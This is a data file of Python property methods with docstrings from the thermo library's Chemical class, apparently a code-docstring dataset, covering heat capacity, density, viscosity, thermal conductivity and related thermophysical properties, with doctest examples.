{"signature": "@property<EOL><INDENT>def Cpl(self):<DEDENT>", "body": "Cplm = self.HeatCapacityLiquid(self.T)<EOL>if Cplm:<EOL><INDENT>return property_molar_to_mass(Cplm, self.MW)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Liquid-phase heat capacity of the chemical at its current temperature,\n        in units of [J/kg/K]. For calculation of this property at other\n        temperatures, or specifying manually the method used to calculate it,\n        and more - see the object oriented interface\n        :obj:`thermo.heat_capacity.HeatCapacityLiquid`; each Chemical instance\n        creates one to actually perform the calculations. Note that that\n        interface provides output in molar units.\n\n        Examples\n        --------\n        >>> Chemical('water', T=320).Cpl\n        4177.518996988284\n\n        Ideal entropy change of water from 280 K to 340 K, output converted\n        back to mass-based units of J/kg/K.\n\n        >>> dSm = Chemical('water').HeatCapacityLiquid.T_dependent_property_integral_over_T(280, 340)\n        >>> property_molar_to_mass(dSm, Chemical('water').MW)\n        812.1024585274956", "id": "f15812:c0:m50"}
{"signature": "@property<EOL><INDENT>def Cpg(self):<DEDENT>", "body": "Cpgm = self.HeatCapacityGas(self.T)<EOL>if Cpgm:<EOL><INDENT>return property_molar_to_mass(Cpgm, self.MW)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Gas-phase heat capacity of the chemical at its current temperature,\n        in units of [J/kg/K]. For calculation of this property at other\n        temperatures, or specifying manually the method used to calculate it,\n        and more - see the object oriented interface\n        :obj:`thermo.heat_capacity.HeatCapacityGas`; each Chemical instance\n        creates one to actually perform the calculations. Note that that\n        interface provides output in molar units.\n\n        Examples\n        --------\n        >>> w = Chemical('water', T=520)\n        >>> w.Cpg\n        1967.6698314620658", "id": "f15812:c0:m51"}
{"signature": "@property<EOL><INDENT>def Cvgm(self):<DEDENT>", "body": "Cpgm = self.HeatCapacityGas(self.T)<EOL>if Cpgm:<EOL><INDENT>return Cpgm - R<EOL><DEDENT>return None<EOL>", "docstring": "r'''Gas-phase ideal-gas contant-volume heat capacity of the chemical at\n        its current temperature, in units of [J/mol/K]. Subtracts R from\n        the ideal-gas heat capacity; does not include pressure-compensation\n        from an equation of state.\n\n        Examples\n        --------\n        >>> w = Chemical('water', T=520)\n        >>> w.Cvgm\n        27.13366316134193", "id": "f15812:c0:m52"}
{"signature": "@property<EOL><INDENT>def Cvg(self):<DEDENT>", "body": "Cvgm = self.Cvgm<EOL>if Cvgm:<EOL><INDENT>return property_molar_to_mass(Cvgm, self.MW)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Gas-phase ideal-gas contant-volume heat capacity of the chemical at\n        its current temperature, in units of [J/kg/K]. Subtracts R from\n        the ideal-gas heat capacity; does not include pressure-compensation\n        from an equation of state.\n\n        Examples\n        --------\n        >>> w = Chemical('water', T=520)\n        >>> w.Cvg\n        1506.1471795798861", "id": "f15812:c0:m53"}
{"signature": "@property<EOL><INDENT>def isentropic_exponent(self):<DEDENT>", "body": "Cp, Cv = self.Cpg, self.Cvg<EOL>if all((Cp, Cv)):<EOL><INDENT>return isentropic_exponent(Cp, Cv)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Gas-phase ideal-gas isentropic exponent of the chemical at its\n        current temperature, [dimensionless]. Does not include\n        pressure-compensation from an equation of state.\n\n        Examples\n        --------\n        >>> Chemical('hydrogen').isentropic_exponent\n        1.405237786321222", "id": "f15812:c0:m54"}
{"signature": "@property<EOL><INDENT>def Vms(self):<DEDENT>", "body": "return self.VolumeSolid(self.T)<EOL>", "docstring": "r'''Solid-phase molar volume of the chemical at its current\n        temperature, in units of [m^3/mol]. For calculation of this property at\n        other temperatures, or specifying manually the method used to calculate\n        it, and more - see the object oriented interface\n        :obj:`thermo.volume.VolumeSolid`; each Chemical instance\n        creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Chemical('iron').Vms\n        7.09593392630242e-06", "id": "f15812:c0:m55"}
{"signature": "@property<EOL><INDENT>def Vml(self):<DEDENT>", "body": "return self.VolumeLiquid(self.T, self.P)<EOL>", "docstring": "r'''Liquid-phase molar volume of the chemical at its current\n        temperature and pressure, in units of [m^3/mol]. For calculation of this\n        property at other temperatures or pressures, or specifying manually the\n        method used to calculate it, and more - see the object oriented interface\n        :obj:`thermo.volume.VolumeLiquid`; each Chemical instance\n        creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Chemical('cyclobutane', T=225).Vml\n        7.42395423425395e-05", "id": "f15812:c0:m56"}
{"signature": "@property<EOL><INDENT>def Vmg(self):<DEDENT>", "body": "return self.VolumeGas(self.T, self.P)<EOL>", "docstring": "r'''Gas-phase molar volume of the chemical at its current\n        temperature and pressure, in units of [m^3/mol]. For calculation of this\n        property at other temperatures or pressures, or specifying manually the\n        method used to calculate it, and more - see the object oriented interface\n        :obj:`thermo.volume.VolumeGas`; each Chemical instance\n        creates one to actually perform the calculations.\n\n        Examples\n        --------\n        Estimate the molar volume of the core of the sun, at 15 million K and\n        26.5 PetaPascals, assuming pure helium (actually 68% helium):\n\n        >>> Chemical('helium', T=15E6, P=26.5E15).Vmg\n        4.805464238181197e-07", "id": "f15812:c0:m57"}
{"signature": "@property<EOL><INDENT>def rhos(self):<DEDENT>", "body": "Vms = self.Vms<EOL>if Vms:<EOL><INDENT>return Vm_to_rho(Vms, self.MW)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Solid-phase mass density of the chemical at its current temperature,\n        in units of [kg/m^3]. For calculation of this property at\n        other temperatures, or specifying manually the method used\n        to calculate it, and more - see the object oriented interface\n        :obj:`thermo.volume.VolumeSolid`; each Chemical instance\n        creates one to actually perform the calculations. Note that that\n        interface provides output in molar units.\n\n        Examples\n        --------\n        >>> Chemical('iron').rhos\n        7869.999999999994", "id": "f15812:c0:m58"}
{"signature": "@property<EOL><INDENT>def rhol(self):<DEDENT>", "body": "Vml = self.Vml<EOL>if Vml:<EOL><INDENT>return Vm_to_rho(Vml, self.MW)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Liquid-phase mass density of the chemical at its current\n        temperature and pressure, in units of [kg/m^3]. For calculation of this\n        property at other temperatures and pressures, or specifying manually\n        the method used to calculate it, and more - see the object oriented\n        interface :obj:`thermo.volume.VolumeLiquid`; each Chemical instance\n        creates one to actually perform the calculations. Note that that\n        interface provides output in molar units.\n\n        Examples\n        --------\n        >>> Chemical('o-xylene', T=297).rhol\n        876.9946785618097", "id": "f15812:c0:m59"}
{"signature": "@property<EOL><INDENT>def rhog(self):<DEDENT>", "body": "Vmg = self.Vmg<EOL>if Vmg:<EOL><INDENT>return Vm_to_rho(Vmg, self.MW)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Gas-phase mass density of the chemical at its current temperature\n        and pressure, in units of [kg/m^3]. For calculation of this property at\n        other temperatures or pressures, or specifying manually the method used\n        to calculate it, and more - see the object oriented interface\n        :obj:`thermo.volume.VolumeGas`; each Chemical instance\n        creates one to actually perform the calculations. Note that that\n        interface provides output in molar units.\n\n        Examples\n        --------\n        Estimate the density of the core of the sun, at 15 million K and\n        26.5 PetaPascals, assuming pure helium (actually 68% helium):\n\n        >>> Chemical('helium', T=15E6, P=26.5E15).rhog\n        8329.27226509739\n\n        Compared to a result on\n        `Wikipedia <https://en.wikipedia.org/wiki/Solar_core>`_ of 150000\n        kg/m^3, the fundamental equation of state performs poorly.\n\n        >>> He = Chemical('helium', T=15E6, P=26.5E15)\n        >>> He.VolumeGas.set_user_methods_P(['IDEAL']); He.rhog\n        850477.8065477367\n\n        The ideal-gas law performs somewhat better, but vastly overshoots\n        the density prediction.", "id": "f15812:c0:m60"}
{"signature": "@property<EOL><INDENT>def rhosm(self):<DEDENT>", "body": "Vms = self.Vms<EOL>if Vms:<EOL><INDENT>return <NUM_LIT:1.>/Vms<EOL><DEDENT>return None<EOL>", "docstring": "r'''Molar density of the chemical in the solid phase at the\n        current temperature and pressure, in units of [mol/m^3].\n\n        Utilizes the object oriented interface and\n        :obj:`thermo.volume.VolumeSolid` to perform the actual calculation of\n        molar volume.\n\n        Examples\n        --------\n        >>> Chemical('palladium').rhosm\n        112760.75925577903", "id": "f15812:c0:m61"}
{"signature": "@property<EOL><INDENT>def rholm(self):<DEDENT>", "body": "Vml = self.Vml<EOL>if Vml:<EOL><INDENT>return <NUM_LIT:1.>/Vml<EOL><DEDENT>return None<EOL>", "docstring": "r'''Molar density of the chemical in the liquid phase at the\n        current temperature and pressure, in units of [mol/m^3].\n\n        Utilizes the object oriented interface and\n        :obj:`thermo.volume.VolumeLiquid` to perform the actual calculation of\n        molar volume.\n\n        Examples\n        --------\n        >>> Chemical('nitrogen', T=70).rholm\n        29937.20179186975", "id": "f15812:c0:m62"}
{"signature": "@property<EOL><INDENT>def rhogm(self):<DEDENT>", "body": "Vmg = self.Vmg<EOL>if Vmg:<EOL><INDENT>return <NUM_LIT:1.>/Vmg<EOL><DEDENT>return None<EOL>", "docstring": "r'''Molar density of the chemical in the gas phase at the\n        current temperature and pressure, in units of [mol/m^3].\n\n        Utilizes the object oriented interface and\n        :obj:`thermo.volume.VolumeGas` to perform the actual calculation of\n        molar volume.\n\n        Examples\n        --------\n        >>> Chemical('tungsten hexafluoride').rhogm\n        42.01349946063116", "id": "f15812:c0:m63"}
{"signature": "@property<EOL><INDENT>def Zs(self):<DEDENT>", "body": "Vms = self.Vms<EOL>if Vms:<EOL><INDENT>return Z(self.T, self.P, Vms)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Compressibility factor of the chemical in the solid phase at the\n        current temperature and pressure, [dimensionless].\n\n        Utilizes the object oriented interface and\n        :obj:`thermo.volume.VolumeSolid` to perform the actual calculation of\n        molar volume.\n\n        Examples\n        --------\n        >>> Chemical('palladium').Z\n        0.00036248477437931853", "id": "f15812:c0:m64"}
{"signature": "@property<EOL><INDENT>def Zl(self):<DEDENT>", "body": "Vml = self.Vml<EOL>if Vml:<EOL><INDENT>return Z(self.T, self.P, Vml)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Compressibility factor of the chemical in the liquid phase at the\n        current temperature and pressure, [dimensionless].\n\n        Utilizes the object oriented interface and\n        :obj:`thermo.volume.VolumeLiquid` to perform the actual calculation of\n        molar volume.\n\n        Examples\n        --------\n        >>> Chemical('water').Zl\n        0.0007385375470263454", "id": "f15812:c0:m65"}
{"signature": "@property<EOL><INDENT>def Zg(self):<DEDENT>", "body": "Vmg = self.Vmg<EOL>if Vmg:<EOL><INDENT>return Z(self.T, self.P, Vmg)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Compressibility factor of the chemical in the gas phase at the\n        current temperature and pressure, [dimensionless].\n\n        Utilizes the object oriented interface and\n        :obj:`thermo.volume.VolumeGas` to perform the actual calculation of\n        molar volume.\n\n        Examples\n        --------\n        >>> Chemical('sulfur hexafluoride', T=700, P=1E9).Zg\n        11.140084184207813", "id": "f15812:c0:m66"}
{"signature": "@property<EOL><INDENT>def SGs(self):<DEDENT>", "body": "rhos = self.rhos<EOL>if rhos is not None:<EOL><INDENT>return SG(rhos)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Specific gravity of the solid phase of the chemical at the \n        specified temperature and pressure, [dimensionless].\n        The reference condition is water at 4 \u00b0C and 1 atm \n        (rho=999.017 kg/m^3). The SG varries with temperature and pressure\n        but only very slightly.\n\n        Examples\n        --------\n        >>> Chemical('iron').SGs\n        7.87774317235069", "id": "f15812:c0:m67"}
{"signature": "@property<EOL><INDENT>def SGl(self):<DEDENT>", "body": "rhol = self.rhol<EOL>if rhol is not None:<EOL><INDENT>return SG(rhol)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Specific gravity of the liquid phase of the chemical at the \n        specified temperature and pressure, [dimensionless].\n        The reference condition is water at 4 \u00b0C and 1 atm \n        (rho=999.017 kg/m^3). For liquids, SG is defined that the reference\n        chemical's T and P are fixed, but the chemical itself varies with\n        the specified T and P.\n\n        Examples\n        --------\n        >>> Chemical('water', T=365).SGl\n        0.9650065522428539", "id": "f15812:c0:m68"}
{"signature": "@property<EOL><INDENT>def SGg(self):<DEDENT>", "body": "Vmg = self.VolumeGas(T=<NUM_LIT>, P=<NUM_LIT>)<EOL>if Vmg:<EOL><INDENT>rho = Vm_to_rho(Vmg, self.MW)<EOL>return SG(rho, rho_ref=<NUM_LIT>) <EOL><DEDENT>return None<EOL>", "docstring": "r'''Specific gravity of the gas phase of the chemical, [dimensionless].\n        The reference condition is air at 15.6 \u00b0C (60 \u00b0F) and 1 atm \n        (rho=1.223 kg/m^3). The definition for gases uses the compressibility\n        factor of the reference gas and the chemical both at the reference\n        conditions, not the conditions of the chemical.\n\n        Examples\n        --------\n        >>> Chemical('argon').SGg\n        1.3795835970877504", "id": "f15812:c0:m69"}
{"signature": "@property<EOL><INDENT>def API(self):<DEDENT>", "body": "Vml = self.VolumeLiquid(T=<NUM_LIT>, P=<NUM_LIT>)<EOL>if Vml:<EOL><INDENT>rho = Vm_to_rho(Vml, self.MW)<EOL><DEDENT>sg = SG(rho, rho_ref=<NUM_LIT>)<EOL>return SG_to_API(sg)<EOL>", "docstring": "r'''API gravity of the liquid phase of the chemical, [degrees].\n        The reference condition is water at 15.6 \u00b0C (60 \u00b0F) and 1 atm \n        (rho=999.016 kg/m^3, standardized).\n\n        Examples\n        --------\n        >>> Chemical('water').API\n        9.999752435378895", "id": "f15812:c0:m70"}
{"signature": "@property<EOL><INDENT>def Bvirial(self):<DEDENT>", "body": "if self.Vmg:<EOL><INDENT>return B_from_Z(self.Zg, self.T, self.P)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Second virial coefficient of the gas phase of the chemical at its\n        current temperature and pressure, in units of [mol/m^3].\n\n        This property uses the object-oriented interface\n        :obj:`thermo.volume.VolumeGas`, converting its result with\n        :obj:`thermo.utils.B_from_Z`.\n\n        Examples\n        --------\n        >>> Chemical('water').Bvirial\n        -0.0009596286322838357", "id": "f15812:c0:m71"}
{"signature": "@property<EOL><INDENT>def isobaric_expansion_l(self):<DEDENT>", "body": "dV_dT = self.VolumeLiquid.TP_dependent_property_derivative_T(self.T, self.P)<EOL>Vm = self.Vml<EOL>if dV_dT and Vm:<EOL><INDENT>return isobaric_expansion(V=Vm, dV_dT=dV_dT)<EOL><DEDENT>", "docstring": "r'''Isobaric (constant-pressure) expansion of the liquid phase of the\n        chemical at its current temperature and pressure, in units of [1/K].\n\n        .. math::\n            \\beta = \\frac{1}{V}\\left(\\frac{\\partial V}{\\partial T} \\right)_P\n\n        Utilizes the temperature-derivative method of\n        :obj:`thermo.volume.VolumeLiquid` to perform the actual calculation.\n        The derivatives are all numerical.\n\n        Examples\n        --------\n        >>> Chemical('dodecane', T=400).isobaric_expansion_l\n        0.0011617555762469477", "id": "f15812:c0:m72"}
{"signature": "@property<EOL><INDENT>def isobaric_expansion_g(self):<DEDENT>", "body": "dV_dT = self.VolumeGas.TP_dependent_property_derivative_T(self.T, self.P)<EOL>Vm = self.Vmg<EOL>if dV_dT and Vm:<EOL><INDENT>return isobaric_expansion(V=Vm, dV_dT=dV_dT)<EOL><DEDENT>", "docstring": "r'''Isobaric (constant-pressure) expansion of the gas phase of the\n        chemical at its current temperature and pressure, in units of [1/K].\n\n        .. math::\n            \\beta = \\frac{1}{V}\\left(\\frac{\\partial V}{\\partial T} \\right)_P\n\n        Utilizes the temperature-derivative method of\n        :obj:`thermo.VolumeGas` to perform the actual calculation.\n        The derivatives are all numerical.\n\n        Examples\n        --------\n        >>> Chemical('Hexachlorobenzene', T=900).isobaric_expansion_g\n        0.001151869741981048", "id": "f15812:c0:m73"}
{"signature": "@property<EOL><INDENT>def mul(self):<DEDENT>", "body": "return self.ViscosityLiquid(self.T, self.P)<EOL>", "docstring": "r'''Viscosity of the chemical in the liquid phase at its current\n        temperature and pressure, in units of [Pa*s].\n\n        For calculation of this property at other temperatures and pressures,\n        or specifying manually the method used to calculate it, and more - see\n        the object oriented interface\n        :obj:`thermo.viscosity.ViscosityLiquid`; each Chemical instance\n        creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Chemical('water', T=320).mul\n        0.0005767262693751547", "id": "f15812:c0:m74"}
{"signature": "@property<EOL><INDENT>def mug(self):<DEDENT>", "body": "return self.ViscosityGas(self.T, self.P)<EOL>", "docstring": "r'''Viscosity of the chemical in the gas phase at its current\n        temperature and pressure, in units of [Pa*s].\n\n        For calculation of this property at other temperatures and pressures,\n        or specifying manually the method used to calculate it, and more - see\n        the object oriented interface\n        :obj:`thermo.viscosity.ViscosityGas`; each Chemical instance\n        creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Chemical('water', T=320, P=100).mug\n        1.0431450856297212e-05", "id": "f15812:c0:m75"}
{"signature": "@property<EOL><INDENT>def kl(self):<DEDENT>", "body": "return self.ThermalConductivityLiquid(self.T, self.P)<EOL>", "docstring": "r'''Thermal conductivity of the chemical in the liquid phase at its\n        current temperature and pressure, in units of [W/m/K].\n\n        For calculation of this property at other temperatures and pressures,\n        or specifying manually the method used to calculate it, and more - see\n        the object oriented interface\n        :obj:`thermo.thermal_conductivity.ThermalConductivityLiquid`; each\n        Chemical instance creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Chemical('water', T=320).kl\n        0.6369957248212118", "id": "f15812:c0:m76"}
{"signature": "@property<EOL><INDENT>def kg(self):<DEDENT>", "body": "return self.ThermalConductivityGas(self.T, self.P)<EOL>", "docstring": "r'''Thermal conductivity of the chemical in the gas phase at its\n        current temperature and pressure, in units of [W/m/K].\n\n        For calculation of this property at other temperatures and pressures,\n        or specifying manually the method used to calculate it, and more - see\n        the object oriented interface\n        :obj:`thermo.thermal_conductivity.ThermalConductivityGas`; each\n        Chemical instance creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Chemical('water', T=320).kg\n        0.021273128263091207", "id": "f15812:c0:m77"}
{"signature": "@property<EOL><INDENT>def sigma(self):<DEDENT>", "body": "return self.SurfaceTension(self.T)<EOL>", "docstring": "r'''Surface tension of the chemical at its current temperature, in\n        units of [N/m].\n\n        For calculation of this property at other temperatures,\n        or specifying manually the method used to calculate it, and more - see\n        the object oriented interface :obj:`thermo.interface.SurfaceTension`;\n        each Chemical instance creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Chemical('water', T=320).sigma\n        0.06855002575793023\n        >>> Chemical('water', T=320).SurfaceTension.solve_prop(0.05)\n        416.8307110842183", "id": "f15812:c0:m78"}
{"signature": "@property<EOL><INDENT>def permittivity(self):<DEDENT>", "body": "return self.Permittivity(self.T)<EOL>", "docstring": "r'''Relative permittivity (dielectric constant) of the chemical at its \n        current temperature, [dimensionless].\n\n        For calculation of this property at other temperatures,\n        or specifying manually the method used to calculate it, and more - see\n        the object oriented interface :obj:`thermo.permittivity.Permittivity`;\n        each Chemical instance creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Chemical('toluene', T=250).permittivity\n        2.49775625", "id": "f15812:c0:m79"}
{"signature": "@property<EOL><INDENT>def absolute_permittivity(self):<DEDENT>", "body": "permittivity = self.permittivity<EOL>if permittivity is not None:<EOL><INDENT>return permittivity*physical_constants['<STR_LIT>'][<NUM_LIT:0>]<EOL><DEDENT>return None<EOL>", "docstring": "r'''Absolute permittivity of the chemical at its current temperature,\n        in units of [farad/meter]. Those units are equivalent to \n        ampere^2*second^4/kg/m^3.\n\n        Examples\n        --------\n        >>> Chemical('water', T=293.15).absolute_permittivity\n        7.096684821859018e-10", "id": "f15812:c0:m80"}
{"signature": "@property<EOL><INDENT>def JTl(self):<DEDENT>", "body": "Vml, Cplm, isobaric_expansion_l = self.Vml, self.Cplm, self.isobaric_expansion_l<EOL>if all((Vml, Cplm, isobaric_expansion_l)):<EOL><INDENT>return Joule_Thomson(T=self.T, V=Vml, Cp=Cplm, beta=isobaric_expansion_l)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Joule Thomson coefficient of the chemical in the liquid phase at\n        its current temperature and pressure, in units of [K/Pa].\n\n        .. math::\n            \\mu_{JT} = \\left(\\frac{\\partial T}{\\partial P}\\right)_H = \\frac{1}{C_p}\n            \\left[T \\left(\\frac{\\partial V}{\\partial T}\\right)_P - V\\right]\n            = \\frac{V}{C_p}\\left(\\beta T-1\\right)\n\n        Utilizes the temperature-derivative method of\n        :obj:`thermo.volume.VolumeLiquid` and the temperature-dependent heat\n        capacity method :obj:`thermo.heat_capacity.HeatCapacityLiquid` to\n        obtain the properties required for the actual calculation.\n\n        Examples\n        --------\n        >>> Chemical('dodecane', T=400).JTl\n        -3.0827160465192742e-07", "id": "f15812:c0:m81"}
{"signature": "@property<EOL><INDENT>def JTg(self):<DEDENT>", "body": "Vmg, Cpgm, isobaric_expansion_g = self.Vmg, self.Cpgm, self.isobaric_expansion_g<EOL>if all((Vmg, Cpgm, isobaric_expansion_g)):<EOL><INDENT>return Joule_Thomson(T=self.T, V=Vmg, Cp=Cpgm, beta=isobaric_expansion_g)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Joule Thomson coefficient of the chemical in the gas phase at\n        its current temperature and pressure, in units of [K/Pa].\n\n        .. math::\n            \\mu_{JT} = \\left(\\frac{\\partial T}{\\partial P}\\right)_H = \\frac{1}{C_p}\n            \\left[T \\left(\\frac{\\partial V}{\\partial T}\\right)_P - V\\right]\n            = \\frac{V}{C_p}\\left(\\beta T-1\\right)\n\n        Utilizes the temperature-derivative method of\n        :obj:`thermo.volume.VolumeGas` and the temperature-dependent heat\n        capacity method :obj:`thermo.heat_capacity.HeatCapacityGas` to\n        obtain the properties required for the actual calculation.\n\n        Examples\n        --------\n        >>> Chemical('dodecane', T=400, P=1000).JTg\n        5.4089897835384913e-05", "id": "f15812:c0:m82"}
{"signature": "@property<EOL><INDENT>def nul(self):<DEDENT>", "body": "mul, rhol = self.mul, self.rhol<EOL>if all([mul, rhol]):<EOL><INDENT>return nu_mu_converter(mu=mul, rho=rhol)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Kinematic viscosity of the liquid phase of the chemical at its\n        current temperature and pressure, in units of [m^2/s].\n\n        .. math::\n            \\nu = \\frac{\\mu}{\\rho}\n\n        Utilizes the temperature and pressure dependent object oriented\n        interfaces :obj:`thermo.volume.VolumeLiquid`,\n        :obj:`thermo.viscosity.ViscosityLiquid`  to calculate the\n        actual properties.\n\n        Examples\n        --------\n        >>> Chemical('methane', T=110).nul\n        2.858088468937331e-07", "id": "f15812:c0:m83"}
{"signature": "@property<EOL><INDENT>def nug(self):<DEDENT>", "body": "mug, rhog = self.mug, self.rhog<EOL>if all([mug, rhog]):<EOL><INDENT>return nu_mu_converter(mu=mug, rho=rhog)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Kinematic viscosity of the gas phase of the chemical at its\n        current temperature and pressure, in units of [m^2/s].\n\n        .. math::\n            \\nu = \\frac{\\mu}{\\rho}\n\n        Utilizes the temperature and pressure dependent object oriented\n        interfaces :obj:`thermo.volume.VolumeGas`,\n        :obj:`thermo.viscosity.ViscosityGas`  to calculate the\n        actual properties.\n\n        Examples\n        --------\n        >>> Chemical('methane', T=115).nug\n        2.5056924327995865e-06", "id": "f15812:c0:m84"}
{"signature": "@property<EOL><INDENT>def alphal(self):<DEDENT>", "body": "kl, rhol, Cpl = self.kl, self.rhol, self.Cpl<EOL>if all([kl, rhol, Cpl]):<EOL><INDENT>return thermal_diffusivity(k=kl, rho=rhol, Cp=Cpl)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Thermal diffusivity of the liquid phase of the chemical at its\n        current temperature and pressure, in units of [m^2/s].\n\n        .. math::\n            \\alpha = \\frac{k}{\\rho Cp}\n\n        Utilizes the temperature and pressure dependent object oriented\n        interfaces :obj:`thermo.volume.VolumeLiquid`,\n        :obj:`thermo.thermal_conductivity.ThermalConductivityLiquid`,\n        and :obj:`thermo.heat_capacity.HeatCapacityLiquid` to calculate the\n        actual properties.\n\n        Examples\n        --------\n        >>> Chemical('nitrogen', T=70).alphal\n        9.444949636299626e-08", "id": "f15812:c0:m85"}
{"signature": "@property<EOL><INDENT>def alphag(self):<DEDENT>", "body": "kg, rhog, Cpg = self.kg, self.rhog, self.Cpg<EOL>if all([kg, rhog, Cpg]):<EOL><INDENT>return thermal_diffusivity(k=kg, rho=rhog, Cp=Cpg)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Thermal diffusivity of the gas phase of the chemical at its\n        current temperature and pressure, in units of [m^2/s].\n\n        .. math::\n            \\alpha = \\frac{k}{\\rho Cp}\n\n        Utilizes the temperature and pressure dependent object oriented\n        interfaces :obj:`thermo.volume.VolumeGas`,\n        :obj:`thermo.thermal_conductivity.ThermalConductivityGas`,\n        and :obj:`thermo.heat_capacity.HeatCapacityGas` to calculate the\n        actual properties.\n\n        Examples\n        --------\n        >>> Chemical('ammonia').alphag\n        1.6931865425158556e-05", "id": "f15812:c0:m86"}
{"signature": "@property<EOL><INDENT>def Prl(self):<DEDENT>", "body": "Cpl, mul, kl = self.Cpl, self.mul, self.kl<EOL>if all([Cpl, mul, kl]):<EOL><INDENT>return Prandtl(Cp=Cpl, mu=mul, k=kl)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Prandtl number of the liquid phase of the chemical at its\n        current temperature and pressure, [dimensionless].\n\n        .. math::\n            Pr = \\frac{C_p \\mu}{k}\n\n        Utilizes the temperature and pressure dependent object oriented\n        interfaces :obj:`thermo.viscosity.ViscosityLiquid`,\n        :obj:`thermo.thermal_conductivity.ThermalConductivityLiquid`,\n        and :obj:`thermo.heat_capacity.HeatCapacityLiquid` to calculate the\n        actual properties.\n\n        Examples\n        --------\n        >>> Chemical('nitrogen', T=70).Prl\n        2.7828214501488886", "id": "f15812:c0:m87"}
{"signature": "@property<EOL><INDENT>def Prg(self):<DEDENT>", "body": "Cpg, mug, kg = self.Cpg, self.mug, self.kg<EOL>if all([Cpg, mug, kg]):<EOL><INDENT>return Prandtl(Cp=Cpg, mu=mug, k=kg)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Prandtl number of the gas phase of the chemical at its\n        current temperature and pressure, [dimensionless].\n\n        .. math::\n            Pr = \\frac{C_p \\mu}{k}\n\n        Utilizes the temperature and pressure dependent object oriented\n        interfaces :obj:`thermo.viscosity.ViscosityGas`,\n        :obj:`thermo.thermal_conductivity.ThermalConductivityGas`,\n        and :obj:`thermo.heat_capacity.HeatCapacityGas` to calculate the\n        actual properties.\n\n        Examples\n        --------\n        >>> Chemical('NH3').Prg\n        0.847263731933008", "id": "f15812:c0:m88"}
{"signature": "@property<EOL><INDENT>def solubility_parameter(self):<DEDENT>", "body": "return solubility_parameter(T=self.T, Hvapm=self.Hvapm, Vml=self.Vml,<EOL>Method=self.solubility_parameter_method,<EOL>CASRN=self.CAS)<EOL>", "docstring": "r'''Solubility parameter of the chemical at its\n        current temperature and pressure, in units of [Pa^0.5].\n\n        .. math::\n            \\delta = \\sqrt{\\frac{\\Delta H_{vap} - RT}{V_m}}\n\n        Calculated based on enthalpy of vaporization and molar volume.\n        Normally calculated at STP. For uses of this property, see\n        :obj:`thermo.solubility.solubility_parameter`.\n\n        Examples\n        --------\n        >>> Chemical('NH3').solubility_parameter\n        24766.329043856073", "id": "f15812:c0:m89"}
{"signature": "@property<EOL><INDENT>def Parachor(self):<DEDENT>", "body": "sigma, rhol, rhog = self.sigma, self.rhol, self.rhog<EOL>if all((sigma, rhol, rhog, self.MW)):<EOL><INDENT>return Parachor(sigma=sigma, MW=self.MW, rhol=rhol, rhog=rhog)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Parachor of the chemical at its\n        current temperature and pressure, in units of [N^0.25*m^2.75/mol].\n\n        .. math::\n            P = \\frac{\\sigma^{0.25} MW}{\\rho_L - \\rho_V}\n\n        Calculated based on surface tension, density of the liquid and gas\n        phase, and molecular weight. For uses of this property, see\n        :obj:`thermo.utils.Parachor`.\n\n        Examples\n        --------\n        >>> Chemical('octane').Parachor\n        6.291693072841486e-05", "id": "f15812:c0:m90"}
{"signature": "@property<EOL><INDENT>def Cp(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, s=self.Cps, l=self.Cpl, g=self.Cpg)<EOL>", "docstring": "r'''Mass heat capacity of the chemical at its current phase and\n        temperature, in units of [J/kg/K].\n\n        Utilizes the object oriented interfaces\n        :obj:`thermo.heat_capacity.HeatCapacitySolid`,\n        :obj:`thermo.heat_capacity.HeatCapacityLiquid`,\n        and :obj:`thermo.heat_capacity.HeatCapacityGas` to perform the\n        actual calculation of each property. Note that those interfaces provide\n        output in molar units (J/mol/K).\n\n        Examples\n        --------\n        >>> w = Chemical('water')\n        >>> w.Cp, w.phase\n        (4180.597021827336, 'l')\n        >>> Chemical('palladium').Cp\n        234.26767209171211", "id": "f15812:c0:m91"}
{"signature": "@property<EOL><INDENT>def Cpm(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, s=self.Cpsm, l=self.Cplm, g=self.Cpgm)<EOL>", "docstring": "r'''Molar heat capacity of the chemical at its current phase and\n        temperature, in units of [J/mol/K].\n\n        Utilizes the object oriented interfaces\n        :obj:`thermo.heat_capacity.HeatCapacitySolid`,\n        :obj:`thermo.heat_capacity.HeatCapacityLiquid`,\n        and :obj:`thermo.heat_capacity.HeatCapacityGas` to perform the\n        actual calculation of each property.\n\n        Examples\n        --------\n        >>> Chemical('cubane').Cpm\n        137.05489206785944\n        >>> Chemical('ethylbenzene', T=550, P=3E6).Cpm\n        294.18449553310046", "id": "f15812:c0:m92"}
